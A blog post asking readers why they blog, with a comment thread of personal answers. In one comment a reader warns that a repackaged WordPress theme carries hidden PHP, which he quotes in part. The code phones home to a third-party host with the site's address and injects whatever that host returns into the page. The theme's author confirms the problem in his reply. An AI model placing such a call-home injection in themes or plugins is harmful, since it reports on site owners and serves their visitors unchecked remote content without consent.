I’m in another of my notoriously contemplative moods tonight, so I’d thought I’d ask a question to those of you who read this.
Why, exactly, do you blog?
Is it to get traffic, is it to make money, or is it for the love of writing?
I believe that many of us blog for reasons other than therapeutic bliss – meaning we have ulterior motives that drive us to write about things that don’t appeals to us in ways that resonate with what, in an ideal world, we’d really want to be writing about.
So what do you write about? And is it REALLY your passion?
I have ads on my site, but I doubt I’ll ever make a serious amount of money from something that’s my hobby. Although it would be nice if I did get paid, it’s not what keeps me going.
I blog because it makes me happy to share my thoughts and have some fun while I’m doing it. Plus it’s allowed me to meet people that I probably would have never meet in real life.
It started out as a way to keep family and friends up-to-date, after my wife and I moved to the other side of the world. But it has turned into more than that, and one of the many benefits I’ve observed, is the improvement of my writing. It’s not perfect, but it’s definately better.
BTW…I don’t know exactly how your 3-column Downtown Java theme turned into what I’ve done to it, but thanks anyway!
Hey Brian,
Before I answer “Why do I blog?” can I ask you about a theme I believe you created?
I’ll check back in these comments for your answer.
I found a theme called “Blindigo” on the following website…
http://www.templatesbrowser.com/wordpress-themes
…and it seems they are using a function.php to secretly place advertising on blogs that use their theme (i left top/bottom of code out and added some *** to URL)…
——————————————————-
php
function credits()
{
$url = “htt*** p://1.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(“1.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check)
———————————————————–
Did you know about this?
I installed their version and then I was looking at the php files and thought that the function.php file looked suspicious.
…so of course I went looking for the original version and came across 2 versions…
http://themes.wordpress.net/columns/2-columns/116/blindigo-10
http://themes.wordpress.net/columns/2-columns/1218/blindigo-10/
First says by blindigo.com
and other by BrianGardner.com
I’m assuming I should go with the one that says BrianGardner.com right?
Well…I’m still working on my wordpress theme and I like your work. I started with the Detour theme but I wanted the sidebar so I found the Blindigo.
So…Why do I blog?
I blog for various reasons. To post useful info when I find it…like I’m going to about that function.php file….I blog for personal reasons….I blog for business reasons…I blog for fun…I blog to create an archive of various topics for myself and my visitors.
Am I passionate about blogging? I’m not quite sure!
@ Lyndon – two good reasons to blog. Because you enjoy it and to meet people, love it!
@ Armen – nice to see you back, and totally awesome job with your site. Almost looks like it’s got some Dropshadow in it!
@ Mike – yes, I am fully aware of what Templates Browser is doing. Pisses me off, in fact, but there’s not much I can do. The who is has a private registration, and there isn’t a contact form or email on their site. In fact, I emailed Matt Mullenweg about it, but got no response. Just download mine, or ask me to send it to you.
Primarily, I write about parenting. I am passionate about it – many of the suggestions I make break with the traditional parenting route the majority seem to take.
I just feel so excited about the parenting ideology of the likes of Haim Ginott and Faber & Mazlish that I wish more people knew about it – blogging is my small way of trying to fulfill that wish.
Recently I separated the content into two blogs. I was writing the occasional “blogging” post but it was jarring a bit with the parenting content. So now I have Hamelife – for parents who want to be different. And Clean Cut Blog – Think Twice, Cut Once, for just the frivolous fun stuff.
I’ve always taken great pride my entire life in ‘getting things done’. I think it’s a trait passed on by my father and his father. In many businesses, we struggle to ‘get things done’. My current job has been like this for the last year.
My blog provides me an outlet to ‘get things done’. Even if it’s just a simple post sharing a bit of knowledge I’ve learned from someone – that first comment that thanks me lets me know that I ‘got something done’.
It’s the feeling of accomplishment and the continued accolades that really drive my blog (and me!). I’ve done a lot of thinking about that this week since I’ve not been able to blog as much as I normally would. I can’t wait to dive back in though!
Shameless self-promotion! Well, a little bit of that, anyway, but mainly because it’s a fun and interesting way to connect with other people in a particular niche. (Journalism and the future of newspapers, in my case.) And the availability of so many awesome themes like the one my wife uses at her site doesn’t hurt, either.
I do it to share what I’ve learned in my small niche industry : )
-peter
Thanks for the responses so far – it’s always interesting to find out what drives other people!
Yeah, I was trying to achieve a certain look that I had in my head, but when I went to execute it, I realised it wasn’t going to work. Then when I was finished, I actually thought the same, hey…that looks a bit like dropshadow. It wasn’t intentional though.
Personally I started blogging because everyone else was turning their vanity pages into blogs (and I love talking about myself!) Now I blog because I do find it very therapeutic. On my personal blog I talk about personal stuff and the inane. But I also have a blog for geeky stuff and a photo blog – because I can never get enough of me me me!
I got tired of re-designing my site all the time. Little did I know I would spend just as much time trying to find the perfect theme, and then modifying it. I like being able to update things fast and easy. I like having most of the work done for me.
I learned how to make websites because my family paid some kid who was in High school $400 to make a website for their business. When he was done it looked HORRIBLE. I decided “screw that!” and started learning how to do it myself (I was around 12 years old). Within a few months I was making better websites than the high school guy. Then people started hiring me…
Now I’m 22 and tired of doing it, but it pays my bills now and then so I keep at it.
I’d like to spend my time taking photos, editing them, writing stories about local people, etc. Which is what I hope to end up doing with my site. Just writing about interesting people, taking photos of them, basically just documenting my area ala mediastorm.org technique.
Oh and anger has recently inspired me… The local newspaper really pissed me off, so I’d like to come up with my own online info center for my small town. A place for the local people to read about their neighbors, events coming up, current pot prices, pot clipping services, etc…
And yeah you read that last part right.
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